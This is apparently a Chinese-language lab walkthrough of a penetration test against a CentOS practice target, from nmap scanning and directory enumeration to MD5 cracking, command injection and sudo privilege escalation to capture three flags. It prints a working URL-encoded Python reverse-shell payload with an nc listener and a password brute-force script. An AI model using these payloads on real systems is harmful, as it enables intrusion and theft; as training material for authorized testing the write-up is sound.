渗透的定义
渗透(Penetration,在信息安全领域通常指渗透测试/Penetration Testing)是一种授权模拟黑客攻击的安全评估方法,旨在发现计算机系统、网络或Web应用中的安全漏洞。
核心定义
渗透测试(Penetration Test,简称PenTest):
通过模拟恶意攻击者的技术和方法,在授权范围内对目标系统进行安全测试,以发现系统中存在的安全漏洞和风险,并提供修复建议的安全评估过程。
======================================================
以下以攻击机(kali)和目标机(centos)为例
在进行初步渗透时,我们要不断的对渗透目标进行信息搜集,因为在进行渗透时我们并不知道要攻击的靶机的ip地址,所以我们需要首先第一步进行对靶机的ip进行查询,例如以下代码指令
-首先对攻击机(kali)的ip惊醒查询为192.168.110.138
ip a
-再对整个同一网段的ip地址进行ping扫描
nmap -sP 192.168.110.0/24
扫描出来的结果如下

在此结果中我们可以发现其中基本可以排除192.168.110.1和192.168.110.2、192.168.110.254
所以有效的ip地址分别为138和139,现在我们已知138为攻击机(kali)的ip地址,所以我们唯一不知道的就是139这个ip地址,所以我们可以对139这个IP地址进行信息搜集。
所以我们可以使用如下代码,针对139这个ip进行信息搜集
nmap -sV -sC -p- -T4 192.168.110.139
-sV:版本探测
-sC:运行默认的nmap脚本
-p-:扫描所有的端口
-T4:设置扫描速度为较快
T5的速度扫描速度是最快的,但是由于速度过快可能会丢失一部分数据,所以我们使用T4进行扫描
扫描出来的结果如下

由上图的结果我们可以看到靶机的22端口已经关闭(close)了,但是80端口是开放状态(open)所以我们可以先到靶机的80端口看一下是否有有用的信息。
显示结果如图所示

由于上方选项有登录和注册,所以我们可以先行注册,然后在进入到管理系统内部查看到底有其他什么信息

在其中经过点击测试可以发现,其中除开网站测试功能之外我们并没有权限进行更多的操作。
但是在此网页中发现不管点到什么部分,他都是处于一个目录文件里,例如http://192.168.110.139/api/webtest.php
所以,我们可以对这个靶机服务器的目录进行扫描。
比如,我们可以选择gobuster等目录扫描工具,以下就用gobuster进行测试。
所以回到攻击机(kali)中,我们选择用gobuster对目标进行扫描,并且需要指定字典的路径、扩展名与线程数,代码示例如下:
gobuster dir -u http://192.168.110.139 -w /usr/share/wordlists/common.txt -x php,html,txt -t 50
其中dir为选择的目录
-u:指定目标的url
-w:指定使用字典路径
-x:指定要扫描的文件扩展名
-t:使用线程数
其中字典存放路径一般位于/usr/share/wordlists目录下。
按照以上代码进行工作后输出结果如下:

由上图中我们可以发现返回代码分别有403,301和200
其中403:禁止访问;301:重定向;200:正常访问,所以我们已知有四个显示403文件,和三个显示200的文件。
并且在多个功能点开后,发现其中/api应该是个上层目录,并且是可以访问的,我们就试着对192.168.110.139/api进行信息搜集。

由上图可以看到文件里有一个名为mgmt_page的文件,进行推测可以怀疑mgmt是Management的英文缩写,所以我们尝试对mgmt_page进行访问,发现他是系统维护入口,如下图所示

并且经过测试发现密码只有5位。于是我们可以试着F12查看一下他是否有信息在页面代码里。

可以看到系统维护人员将加密后的密码直接放在了这里,并且根据密码格式可以进行推断,并且下文也直接可以知道使用的是md5加密方法,那么已知为md5我们就可以对他进行解码。
解码可以自行选择解码工具,这里我们选择John the Ripper(以下简称john)作为我们的解码工具。
所以在kali中我们可以使用如下代码:
john key --format=Raw-MD5
其中key为我们创建的文件,内容就是上图中的96e44fa82e5a5263fb92337be422d3eb
key:创建的用来储存md5加密后的密文文件,名称可以任意选择
Raw-MD5:原生MD5
于是我们可以得到密码为:SOUTH
我们可以返回文件包含等进行测试,但是可能会发现文件包含等需要密码,但是他的网站测试我们是可以进行访问的,所以我们可以利用脚本对服务器发来的访问信息进行抓包,脚本内容如下:
from flask import Flask, request
app = Flask(__name__)
@app.before_request
def log_headers():
print("=== 请求头信息 ===")
for key, value in request.headers.items():
print(f"{key}: {value}")
print("================")
@app.route('/')
def index():
return "请求头已打印到控制台,请查看服务器日志"
app.run(host='0.0.0.0', port=80)
有了此脚本之后我们就可以对请求到攻击机(kali)的数据进行抓包,并且可以发现一个编译后的数据如下:

其中可以看到倒数第二行就是一串编译后的数据,并且根据最后的==两个等号可以推测为base64编译,所以我们选择进行解除编译,解码工具自行选择,发现解码后文件为:
fuli:wsGdwWQZTu7U4seseGaG
可以合理推断fuli为用户名,冒号后为密码,输入后确实可以登录到不可访问的两个区域了。
我们紧接着对文件包含测试里尝试进行url命令注入,我们选择进行尝试ls如下:

于是我们发现可以返回结果,那我们可以直接选择尝试在本机138上对服务器的4444端口进行监控,使用shell监听代码如下:
192.168.110.139/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.110.138
29%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.sock
et();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)
%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27
在攻击机(kali)上使用代码
nc -lvnp 4444
-监听4444端口的一切回应
在本机上成功监听后,我们进入到服务器内可以选择/..返回上一级,在进行一层层返回并ls之后我们可以发现flag1.txt文件,并且我们可以选择cat这个文件得到:

如上我们得到了第一个flag。
接下来我们就可以进行翻箱倒柜的进行寻找,可以发现有一个flag3.txt,但是由于我们的权限不够,所以我们暂做保留,并且继续进行寻找。
在flag1的旁边我们可以看到一个名为html的目录
我们可以看到目录里有一个名为db.php的文件,并且通常db就是database数据库的缩写,所以我们可以进行查看
当我们进行cat查看之后可以看到如下内容:

可以看到其中有user=root,并且可以看到pass密码,所以我们就可以直接登录mqsql数据库。
在进入mysql数据库之后我们就可以开始翻箱倒柜了,并且可以看到一个直接名为web_test_management的数据库,选择数据库之后我们就可以查看到一个名为user的卷,所以我们对user进行查看,mysql操作方式不多做赘述,整体步骤操作如下:


由上图我们可知admin的加密后的密码,并且由于之前我们在翻箱倒柜的时候可以看到有一个名为benjamin的用户,所以我们合理推测此admin就是benjamin的密码。

所以我们得到了benjamin加密后的密码,我们就需要对此md5进行解密,解密我们也可以使用脚本文件,代码如下:
import hashlib
with open("/usr/share/wordlists/rockyou.txt","rb") as f1:
dict=f1.read()
for i in dict.split(b"\n"):
if hashlib.md5(i+b"1753128055").hexdigest()=="9eaf9317aac50c955575334a93d0b09c":
print(i)
break
运行脚本并且选择字典进行爆破之后,我们可以发现密码原文为:chispa
并且我们可以通过su benjamin进行转换用户,输入密码chispa之后发现成功的登录上了benjamin这个用户,并且可以在benjamin的目录下发现flag2.txt
在查看之后发现内容如下:

由此我们得到了flag2的内容。
我们可以通过benjamin这个用户去查看一下flag3.txt,可以发现依旧无权查看,那可以推测可能这个账户是root才能查看的了,那么我们可以通过su -l查看benjamin这个用户可以使用的权限。
在查看之后可以发现内容如下:

其中标红部分,最为重要,因为他可以不需要密码查看这个文件下的所有文件。
所以我们可以绕个弯子,使用这条命令对flag3文件进行查看:
sudo /bin/cat /root/notes/../../flag3.txt
使用给与的权限,通过在同一行中的/..返回到上一级目录去查看flag3文件
并且经过此类方法我们可以发现看到了flag3.txt内容如下

由此我们拿到了所有的3个flag
======================================================
本文总结使用方式:
1.信息搜集
2.目录枚举
3.敏感信息泄露
4.密码破解
5.网络监听与抓包
6.命令注入
7.权限提升
8.反向shell
9.文件包含


Comments | NOTHING